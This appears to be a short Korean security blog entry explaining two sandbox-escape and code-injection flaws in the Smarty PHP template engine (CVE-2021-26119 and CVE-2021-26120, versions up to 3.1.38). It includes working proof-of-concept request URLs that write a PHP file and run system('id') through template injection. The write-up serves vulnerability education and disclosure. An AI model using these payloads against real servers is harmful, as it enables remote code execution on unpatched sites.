[하루한줄] Smarty Template Engine Sandbox escape
URL
Smarty Template Engine Sandbox escape PHP Code Injection
Target
Smarty Endgine <= 3.1.38
Explain
Smarty는 PHP용 template engine입니다. Smarty는 presentation(html/css)과 app logic을 분리시키는 PHP insulation(sandbox)을 통해 injection 공격의 피해범위를 제한합니다. 하지만 Template injection이 가능할 때 sandbox escape를 할 수 있는 취약점이 발견되었습니다.
- CVE-2021-26119
super global 변수 $smarty.template_object
를 이용한 Template injection이 가능할 때 Smarty의 인스턴스에 접근할 수 있습니다. compile
함수가 {$poc=$smarty.template_object}
와 같은 값을 받으면 $poc
에 Smarty_Internal_Template
객체를 할당합니다.
object(Smarty_Internal_Template)#7 (24) {
["_objType"]=>
int(2)
["smarty"]=>
&object(Smarty)#1 (76) { ... }
["source"]=>
object(Smarty_Template_Source)#8 (16) { ... }
["parent"]=>
object(Smarty)#1 (76) { ... }
["ext"]=>
object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
["compiled"]=>
object(Smarty_Template_Compiled)#11 (12) { ... }
위는 Smarty_Internal_Template
객체입니다. 해커는 ["smarty"]
또는 ["parent"]
값을 사용해 Smarty의 인스턴스에 접근할 수 있고 arbitrary file write로 공격 범위를 확장할 수 있습니다.
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
- CVE-2021-26120
template syntax를 컴파일하는 과정에서 Smarty_Internal_Runtime_TPlFunction
클래스는 attacker controlled data인 name
을 필터링하지 않아 함수 인젝션을 할 수 있습니다.
/* input = {function name='test'}{/function} */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}
}
입력 {function name='test'}{/function}
을 받은 컴파일러는 위와 같은 코드를 생성합니다.
http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.